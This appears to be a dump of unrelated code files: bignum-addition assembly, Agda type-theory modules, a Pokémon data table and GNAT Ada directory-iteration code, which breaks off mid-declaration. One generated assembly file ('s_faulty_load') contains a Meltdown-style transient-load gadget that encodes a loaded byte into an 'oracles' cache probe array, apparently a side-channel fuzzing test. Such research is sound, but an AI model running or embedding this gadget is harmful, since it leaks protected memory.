; 596 : if ((result = AllocateNumber(&nw, w_bit_count, &w_light_check_code)) != PMC_STATUS_OK)
lea r8, QWORD PTR w_light_check_code$1[rsp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 204 : return (x >= y ? x : y);
cmp QWORD PTR [rdi+16], rdx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 596 : if ((result = AllocateNumber(&nw, w_bit_count, &w_light_check_code)) != PMC_STATUS_OK)
lea rcx, QWORD PTR nw$[rsp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 204 : return (x >= y ? x : y);
cmovae rdx, QWORD PTR [rdi+16]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; 594 : __UNIT_TYPE w_bit_count = _MAXIMUM_UNIT(u_bit_count, v_bit_count) + 1;
inc rdx
; 596 : if ((result = AllocateNumber(&nw, w_bit_count, &w_light_check_code)) != PMC_STATUS_OK)
call AllocateNumber
test eax, eax
jne $LN1@PMC_Add_X_
; 597 : return (result);
; 598 : if ((result = (*fp_Add_Imp)(nu->BLOCK, nu->UNIT_WORD_COUNT, nv->BLOCK, nv->UNIT_WORD_COUNT, nw->BLOCK, nw->BLOCK_COUNT)) != PMC_STATUS_OK)
mov rcx, QWORD PTR nw$[rsp]
mov r9, QWORD PTR [rbx+8]
mov r8, QWORD PTR [rbx+56]
mov rdx, QWORD PTR [rdi+8]
mov rax, QWORD PTR [rcx+48]
mov QWORD PTR [rsp+40], rax
mov rax, QWORD PTR [rcx+56]
mov rcx, QWORD PTR [rdi+56]
mov QWORD PTR [rsp+32], rax
call QWORD PTR fp_Add_Imp
mov rcx, QWORD PTR nw$[rsp]
mov ebx, eax
test eax, eax
je SHORT $LN16@PMC_Add_X_
; 599 : {
; 600 : DeallocateNumber(nw);
call DeallocateNumber
; 601 : return (result);
mov eax, ebx
; 614 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN16@PMC_Add_X_:
; 602 : }
; 603 : if ((result = CheckBlockLight(nw->BLOCK, w_light_check_code)) != PMC_STATUS_OK)
mov rdx, QWORD PTR w_light_check_code$1[rsp]
mov rcx, QWORD PTR [rcx+56]
call CheckBlockLight
test eax, eax
jne SHORT $LN1@PMC_Add_X_
; 604 : return (result);
; 605 : CommitNumber(nw);
mov rcx, QWORD PTR nw$[rsp]
call CommitNumber
$LN22@PMC_Add_X_:
; 606 : }
; 607 : }
; 608 : *w = nw;
mov rax, QWORD PTR nw$[rsp]
mov QWORD PTR [rsi], rax
; 609 : #ifdef _DEBUG
; 610 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 611 : return (result);
; 612 : #endif
; 613 : return (PMC_STATUS_OK);
xor eax, eax
; 614 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
$LN21@PMC_Add_X_:
; 564 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN1@PMC_Add_X_:
; 614 : }
mov rbx, QWORD PTR [rsp+72]
mov rsi, QWORD PTR [rsp+80]
add rsp, 48 ; 00000030H
pop rdi
ret 0
PMC_Add_X_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_X_L
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Add_X_L PROC ; COMDAT
; 535 : {
$LN10:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
; 536 : if (__UNIT_TYPE_BIT_COUNT * 2 < sizeof(v) * 8)
; 537 : {
; 538 : // _UINT64_T が 2 ワードで表現しきれない処理系には対応しない
; 539 : return (PMC_STATUS_INTERNAL_ERROR);
; 540 : }
; 541 : if (u == NULL)
test rcx, rcx
je SHORT $LN8@PMC_Add_X_
; 542 : return (PMC_STATUS_ARGUMENT_ERROR);
; 543 : if (w == NULL)
test r8, r8
je SHORT $LN8@PMC_Add_X_
; 545 : PMC_STATUS_CODE result;
; 546 : if ((result = CheckNumber((NUMBER_HEADER*)u)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne SHORT $LN6@PMC_Add_X_
; 547 : return (result);
; 548 : if ((result = PMC_Add_X_L_Imp((NUMBER_HEADER*)u, v, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
; 549 : return (result);
; 550 : #ifdef _DEBUG
; 551 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 552 : return (result);
; 553 : #endif
; 554 : return (PMC_STATUS_OK);
; 555 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
; 547 : return (result);
; 548 : if ((result = PMC_Add_X_L_Imp((NUMBER_HEADER*)u, v, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
jmp PMC_Add_X_L_Imp
$LN8@PMC_Add_X_:
; 544 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN6@PMC_Add_X_:
; 549 : return (result);
; 550 : #ifdef _DEBUG
; 551 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 552 : return (result);
; 553 : #endif
; 554 : return (PMC_STATUS_OK);
; 555 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Add_X_L ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_X_I
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Add_X_I PROC ; COMDAT
; 383 : {
$LN10:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rdi, r8
mov esi, edx
mov rbx, rcx
; 384 : if (__UNIT_TYPE_BIT_COUNT < sizeof(v) * 8)
; 385 : {
; 386 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 387 : return (PMC_STATUS_INTERNAL_ERROR);
; 388 : }
; 389 : if (u == NULL)
test rcx, rcx
je SHORT $LN8@PMC_Add_X_
; 390 : return (PMC_STATUS_ARGUMENT_ERROR);
; 391 : if (w == NULL)
test r8, r8
je SHORT $LN8@PMC_Add_X_
; 393 : PMC_STATUS_CODE result;
; 394 : if ((result = CheckNumber((NUMBER_HEADER*)u)) != PMC_STATUS_OK)
call CheckNumber
test eax, eax
jne SHORT $LN6@PMC_Add_X_
; 395 : return (result);
; 396 : if ((result = PMC_Add_X_I_Imp((NUMBER_HEADER*)u, v, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
mov r8, rdi
mov edx, esi
mov rcx, rbx
; 397 : return (result);
; 398 : #ifdef _DEBUG
; 399 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 400 : return (result);
; 401 : #endif
; 402 : return (PMC_STATUS_OK);
; 403 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
; 395 : return (result);
; 396 : if ((result = PMC_Add_X_I_Imp((NUMBER_HEADER*)u, v, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
jmp PMC_Add_X_I_Imp
$LN8@PMC_Add_X_:
; 392 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN6@PMC_Add_X_:
; 397 : return (result);
; 398 : #ifdef _DEBUG
; 399 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 400 : return (result);
; 401 : #endif
; 402 : return (PMC_STATUS_OK);
; 403 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Add_X_I ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_L_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Add_L_X PROC ; COMDAT
; 512 : {
$LN10:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
; 513 : if (__UNIT_TYPE_BIT_COUNT * 2 < sizeof(u) * 8)
; 514 : {
; 515 : // _UINT64_T が 2 ワードで表現しきれない処理系には対応しない
; 516 : return (PMC_STATUS_INTERNAL_ERROR);
; 517 : }
; 518 : if (v == NULL)
test rdx, rdx
je SHORT $LN8@PMC_Add_L_
; 519 : return (PMC_STATUS_ARGUMENT_ERROR);
; 520 : if (w == NULL)
test r8, r8
je SHORT $LN8@PMC_Add_L_
; 522 : PMC_STATUS_CODE result;
; 523 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, rdx
call CheckNumber
test eax, eax
jne SHORT $LN6@PMC_Add_L_
; 524 : return (result);
; 525 : if ((result = PMC_Add_X_L_Imp((NUMBER_HEADER*)v, u, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
; 526 : return (result);
; 527 : #ifdef _DEBUG
; 528 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 529 : return (result);
; 530 : #endif
; 531 : return (PMC_STATUS_OK);
; 532 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
; 524 : return (result);
; 525 : if ((result = PMC_Add_X_L_Imp((NUMBER_HEADER*)v, u, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
jmp PMC_Add_X_L_Imp
$LN8@PMC_Add_L_:
; 521 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN6@PMC_Add_L_:
; 526 : return (result);
; 527 : #ifdef _DEBUG
; 528 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 529 : return (result);
; 530 : #endif
; 531 : return (PMC_STATUS_OK);
; 532 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Add_L_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT PMC_Add_I_X
_TEXT SEGMENT
u$ = 48
v$ = 56
w$ = 64
PMC_Add_I_X PROC ; COMDAT
; 360 : {
$LN10:
mov QWORD PTR [rsp+8], rbx
mov QWORD PTR [rsp+16], rsi
push rdi
sub rsp, 32 ; 00000020H
mov rdi, r8
mov rbx, rdx
mov esi, ecx
; 361 : if (__UNIT_TYPE_BIT_COUNT < sizeof(u) * 8)
; 362 : {
; 363 : // _UINT32_T が 1 ワードで表現しきれない処理系には対応しない
; 364 : return (PMC_STATUS_INTERNAL_ERROR);
; 365 : }
; 366 : if (v == NULL)
test rdx, rdx
je SHORT $LN8@PMC_Add_I_
; 367 : return (PMC_STATUS_ARGUMENT_ERROR);
; 368 : if (w == NULL)
test r8, r8
je SHORT $LN8@PMC_Add_I_
; 370 : PMC_STATUS_CODE result;
; 371 : if ((result = CheckNumber((NUMBER_HEADER*)v)) != PMC_STATUS_OK)
mov rcx, rdx
call CheckNumber
test eax, eax
jne SHORT $LN6@PMC_Add_I_
; 372 : return (result);
; 373 : if ((result = PMC_Add_X_I_Imp((NUMBER_HEADER*)v, u, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
mov r8, rdi
mov edx, esi
mov rcx, rbx
; 374 : return (result);
; 375 : #ifdef _DEBUG
; 376 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 377 : return (result);
; 378 : #endif
; 379 : return (PMC_STATUS_OK);
; 380 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
; 372 : return (result);
; 373 : if ((result = PMC_Add_X_I_Imp((NUMBER_HEADER*)v, u, (NUMBER_HEADER**)w)) != PMC_STATUS_OK)
jmp PMC_Add_X_I_Imp
$LN8@PMC_Add_I_:
; 369 : return (PMC_STATUS_ARGUMENT_ERROR);
mov eax, -1
$LN6@PMC_Add_I_:
; 374 : return (result);
; 375 : #ifdef _DEBUG
; 376 : if ((result = CheckNumber(*w)) != PMC_STATUS_OK)
; 377 : return (result);
; 378 : #endif
; 379 : return (PMC_STATUS_OK);
; 380 : }
mov rbx, QWORD PTR [rsp+48]
mov rsi, QWORD PTR [rsp+56]
add rsp, 32 ; 00000020H
pop rdi
ret 0
PMC_Add_I_X ENDP
_TEXT ENDS
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_add.c
; COMDAT Initialize_Add
_TEXT SEGMENT
feature$ = 8
Initialize_Add PROC ; COMDAT
; 618 : fp_Add_Imp = feature->PROCESSOR_FEATURE_ADX ? Add_Imp_using_ADCX : Add_Imp_using_ADC;
test BYTE PTR [rcx], 2
lea rax, OFFSET FLAT:Add_Imp_using_ADC
lea rcx, OFFSET FLAT:Add_Imp_using_ADCX
cmovne rax, rcx
mov QWORD PTR fp_Add_Imp, rax
; 619 : return (PMC_STATUS_OK);
xor eax, eax
; 620 : }
ret 0
Initialize_Add ENDP
_TEXT ENDS
END
|
Transynther/x86/_processed/US/_st_sm_/i7-7700_9_0xca.log_1_1382.asm | ljhsiun2/medusa | 9 | 178448 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x17489, %r10
nop
nop
xor %r12, %r12
mov (%r10), %rdi
nop
nop
sub %rcx, %rcx
lea addresses_A_ht+0xb828, %r14
nop
xor $56890, %rbp
vmovups (%r14), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rax
nop
nop
nop
nop
nop
sub %r10, %r10
lea addresses_WC_ht+0x189a9, %r12
nop
nop
nop
sub $17522, %r14
movb $0x61, (%r12)
nop
nop
nop
nop
xor $1682, %rdi
lea addresses_normal_ht+0xc291, %rsi
lea addresses_normal_ht+0xbed9, %rdi
dec %rbp
mov $86, %rcx
rep movsq
nop
nop
nop
cmp %rax, %rax
lea addresses_A_ht+0x5d9, %r12
nop
nop
nop
nop
nop
sub %rbp, %rbp
movb $0x61, (%r12)
cmp $63949, %rsi
lea addresses_D_ht+0x103b9, %rsi
lea addresses_UC_ht+0x13519, %rdi
sub %r12, %r12
mov $102, %rcx
rep movsw
nop
nop
nop
nop
sub $34430, %rax
lea addresses_normal_ht+0x8859, %r14
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
movups %xmm7, (%r14)
and %rbp, %rbp
lea addresses_A_ht+0x14ed9, %rbp
nop
nop
add $16553, %r12
mov $0x6162636465666768, %rax
movq %rax, %xmm1
movups %xmm1, (%rbp)
nop
nop
sub %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_WT+0x1e6d9, %rcx
nop
nop
nop
nop
nop
dec %rdx
mov $0x5152535455565758, %r15
movq %r15, %xmm4
movups %xmm4, (%rcx)
nop
nop
and $59322, %rdx
// Store
lea addresses_US+0x12ed9, %rbp
nop
nop
nop
sub $45874, %r15
mov $0x5152535455565758, %rcx
movq %rcx, (%rbp)
nop
nop
nop
nop
inc %r8
// Store
lea addresses_A+0x1d829, %rdx
nop
nop
nop
nop
nop
add %rbp, %rbp
mov $0x5152535455565758, %rdi
movq %rdi, (%rdx)
nop
nop
nop
add %rcx, %rcx
// Store
lea addresses_US+0x1c33d, %rdx
nop
nop
nop
nop
xor %r14, %r14
movl $0x51525354, (%rdx)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
// Store
lea addresses_normal+0xcd32, %r8
nop
xor $47340, %rbp
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
movntdq %xmm7, (%r8)
nop
add %rdi, %rdi
// Store
lea addresses_D+0x131d9, %rdi
nop
nop
nop
nop
nop
sub $13219, %rdx
movl $0x51525354, (%rdi)
nop
nop
nop
add %rdx, %rdx
// Store
lea addresses_normal+0x126d9, %rdi
nop
and $12794, %r15
movl $0x51525354, (%rdi)
nop
nop
nop
nop
cmp $16994, %rdx
// Load
lea addresses_normal+0x3569, %rdx
clflush (%rdx)
xor $29894, %rbp
mov (%rdx), %ecx
nop
nop
nop
nop
nop
and %rbp, %rbp
// Faulty Load
lea addresses_US+0x12ed9, %rcx
nop
nop
nop
nop
nop
cmp %r14, %r14
mov (%rcx), %r15
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'58': 1}
58
*/
|
notes/FOT/FOTC/Program/Min/Min.agda | asr/fotc | 11 | 6534 | <filename>notes/FOT/FOTC/Program/Min/Min.agda<gh_stars>10-100
------------------------------------------------------------------------------
-- Example of a partial function
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
-- From (<NAME>. and <NAME>. (2001)).
module FOT.FOTC.Program.Min.Min where
open import Data.Nat renaming ( suc to succ )
open import Relation.Binary.PropositionalEquality
------------------------------------------------------------------------------
-- Note: Although the function is partial the problem is that it is
-- rejected by Agda's termination checker.
{-# NON_TERMINATING #-}
min : (ℕ → ℕ) → ℕ
min f with f 0
... | 0 = 0
... | succ x = succ (min (λ n → f (succ n)))
------------------------------------------------------------------------------
-- References
--
-- <NAME>. and <NAME>. (2001). Nested General Recursion and
-- Partiality in Type Theory. In: Theorem Proving in Higher Order
-- Logics (TPHOLs 2001). Ed. by <NAME>. and Jackson,
-- <NAME>. Vol. 2152. LNCS. Springer, pp. 121–135.
|
data/good_rod.asm | adhi-thirumala/EvoYellow | 16 | 83676 | <reponame>adhi-thirumala/EvoYellow
GoodRodMons:
db 10,GOLDEEN
db 10,POLIWAG
|
src/Impure/STLCRef/Syntax.agda | metaborg/ts.agda | 0 | 8566 | module Impure.STLCRef.Syntax where
open import Prelude hiding (subst)
open import Data.Vec
open import Data.List
open import Function
data Type : Set where
Unit : Type
_⇒_ : (a b : Type) → Type
Ref : Type → Type
infixl 10 _·_
data Exp : (n : ℕ) → Set where
unit : ∀ {n} → Exp n
var : ∀ {n} → Fin n → Exp n
loc : ∀ {n} → ℕ → Exp n
ƛ : ∀ {n} → Type → Exp (suc n) → Exp n
_·_ : ∀ {n} → (f e : Exp n) → Exp n
ref : ∀ {n} → (e : Exp n) → Exp n
!_ : ∀ {n} → (e : Exp n) → Exp n
_≔_ : ∀ {n} → (x y : Exp n) → Exp n
data Val : ∀ {n} → Exp n → Set where
unit : ∀ {n} → Val {n} unit
ƛ : ∀ {n} A → (e : Exp (suc n)) → Val (ƛ A e)
loc : ∀ {n} i → Val {n} (loc i)
Store : ℕ → Set
Store n = List (∃ λ (e : Exp n) → Val e)
open import Data.Fin.Substitution
module ExpApp {T} (l : Lift T Exp) where
open Lift l
_/_ : ∀ {n n'} → Exp n → Sub T n n' → Exp n'
var x / s = lift $ lookup x s
ƛ A t / s = ƛ A (t / (s ↑))
(f · e) / s = (f / s) · (e / s)
unit / s = unit
loc x / s = loc x
ref e / s = ref (e / s)
(! e) / s = ! (e / s)
(e ≔ e₁) / s = (e / s) ≔ (e₁ / s)
open Application (record { _/_ = _/_ }) using (_/✶_)
tmSubst : TermSubst Exp
tmSubst = record { var = var; app = ExpApp._/_ }
open TermSubst tmSubst hiding (var) public
|
llvm-gcc-4.2-2.9/gcc/ada/g-diopit.adb | vidkidz/crossbridge | 1 | 10323 | <filename>llvm-gcc-4.2-2.9/gcc/ada/g-diopit.adb
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . D I R E C T O R Y _ O P E R A T I O N S . I T E R A T I O N --
-- --
-- B o d y --
-- --
-- Copyright (C) 2001-2005, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Ada.Characters.Handling;
with Ada.Strings.Fixed;
with Ada.Strings.Maps;
with GNAT.OS_Lib;
with GNAT.Regexp;
package body GNAT.Directory_Operations.Iteration is
use Ada;
----------
-- Find --
----------
procedure Find
(Root_Directory : Dir_Name_Str;
File_Pattern : String)
is
File_Regexp : constant Regexp.Regexp := Regexp.Compile (File_Pattern);
Index : Natural := 0;
Quit : Boolean;
procedure Read_Directory (Directory : Dir_Name_Str);
-- Open Directory and read all entries. This routine is called
-- recursively for each sub-directories.
function Make_Pathname (Dir, File : String) return String;
-- Returns the pathname for File by adding Dir as prefix
-------------------
-- Make_Pathname --
-------------------
function Make_Pathname (Dir, File : String) return String is
begin
if Dir (Dir'Last) = '/' or else Dir (Dir'Last) = '\' then
return Dir & File;
else
return Dir & Dir_Separator & File;
end if;
end Make_Pathname;
--------------------
-- Read_Directory --
--------------------
procedure Read_Directory (Directory : Dir_Name_Str) is
Dir : Dir_Type;
Buffer : String (1 .. 2_048);
Last : Natural;
begin
Open (Dir, Directory);
loop
Read (Dir, Buffer, Last);
exit when Last = 0;
declare
Dir_Entry : constant String := Buffer (1 .. Last);
Pathname : constant String :=
Make_Pathname (Directory, Dir_Entry);
begin
if Regexp.Match (Dir_Entry, File_Regexp) then
Index := Index + 1;
begin
Action (Pathname, Index, Quit);
exception
when others =>
Close (Dir);
raise;
end;
exit when Quit;
end if;
-- Recursively call for sub-directories, except for . and ..
if not (Dir_Entry = "." or else Dir_Entry = "..")
and then OS_Lib.Is_Directory (Pathname)
then
Read_Directory (Pathname);
exit when Quit;
end if;
end;
end loop;
Close (Dir);
end Read_Directory;
begin
Quit := False;
Read_Directory (Root_Directory);
end Find;
-----------------------
-- Wildcard_Iterator --
-----------------------
procedure Wildcard_Iterator (Path : Path_Name) is
Index : Natural := 0;
procedure Read
(Directory : String;
File_Pattern : String;
Suffix_Pattern : String);
-- Read entries in Directory and call user's callback if the entry
-- match File_Pattern and Suffix_Pattern is empty otherwise it will go
-- down one more directory level by calling Next_Level routine above.
procedure Next_Level
(Current_Path : String;
Suffix_Path : String);
-- Extract next File_Pattern from Suffix_Path and call Read routine
-- above.
----------------
-- Next_Level --
----------------
procedure Next_Level
(Current_Path : String;
Suffix_Path : String)
is
DS : Natural;
SP : String renames Suffix_Path;
begin
if SP'Length > 2
and then SP (SP'First) = '.'
and then Strings.Maps.Is_In (SP (SP'First + 1), Dir_Seps)
then
-- Starting with "./"
DS := Strings.Fixed.Index
(SP (SP'First + 2 .. SP'Last),
Dir_Seps);
if DS = 0 then
-- We have "./"
Read (Current_Path & ".", "*", "");
else
-- We have "./dir"
Read (Current_Path & ".",
SP (SP'First + 2 .. DS - 1),
SP (DS .. SP'Last));
end if;
elsif SP'Length > 3
and then SP (SP'First .. SP'First + 1) = ".."
and then Strings.Maps.Is_In (SP (SP'First + 2), Dir_Seps)
then
-- Starting with "../"
DS := Strings.Fixed.Index
(SP (SP'First + 3 .. SP'Last), Dir_Seps);
if DS = 0 then
-- We have "../"
Read (Current_Path & "..", "*", "");
else
-- We have "../dir"
Read (Current_Path & "..",
SP (SP'First + 3 .. DS - 1),
SP (DS .. SP'Last));
end if;
elsif Current_Path = ""
and then SP'Length > 1
and then Characters.Handling.Is_Letter (SP (SP'First))
and then SP (SP'First + 1) = ':'
then
-- Starting with "<drive>:"
if SP'Length > 2
and then Strings.Maps.Is_In (SP (SP'First + 2), Dir_Seps)
then
-- Starting with "<drive>:\"
DS := Strings.Fixed.Index
(SP (SP'First + 3 .. SP'Last), Dir_Seps);
if DS = 0 then
-- We have "<drive>:\dir"
Read (SP (SP'First .. SP'First + 2),
SP (SP'First + 3 .. SP'Last),
"");
else
-- We have "<drive>:\dir\kkk"
Read (SP (SP'First .. SP'First + 2),
SP (SP'First + 3 .. DS - 1),
SP (DS .. SP'Last));
end if;
else
-- Starting with "<drive>:" and the drive letter not followed
-- by a directory separator. The proper semantic on Windows is
-- to read the content of the current selected directory on
-- this drive. For example, if drive C current selected
-- directory is c:\temp the suffix pattern "c:m*" is
-- equivalent to c:\temp\m*.
DS := Strings.Fixed.Index
(SP (SP'First + 2 .. SP'Last), Dir_Seps);
if DS = 0 then
-- We have "<drive>:dir"
Read (SP, "", "");
else
-- We have "<drive>:dir/kkk"
Read (SP (SP'First .. DS - 1), "", SP (DS .. SP'Last));
end if;
end if;
elsif Strings.Maps.Is_In (SP (SP'First), Dir_Seps) then
-- Starting with a /
DS := Strings.Fixed.Index
(SP (SP'First + 1 .. SP'Last), Dir_Seps);
if DS = 0 then
-- We have "/dir"
Read (Current_Path, SP (SP'First + 1 .. SP'Last), "");
else
-- We have "/dir/kkk"
Read (Current_Path,
SP (SP'First + 1 .. DS - 1),
SP (DS .. SP'Last));
end if;
else
-- Starting with a name
DS := Strings.Fixed.Index (SP, Dir_Seps);
if DS = 0 then
-- We have "dir"
Read (Current_Path & '.', SP, "");
else
-- We have "dir/kkk"
Read (Current_Path & '.',
SP (SP'First .. DS - 1),
SP (DS .. SP'Last));
end if;
end if;
end Next_Level;
----------
-- Read --
----------
Quit : Boolean := False;
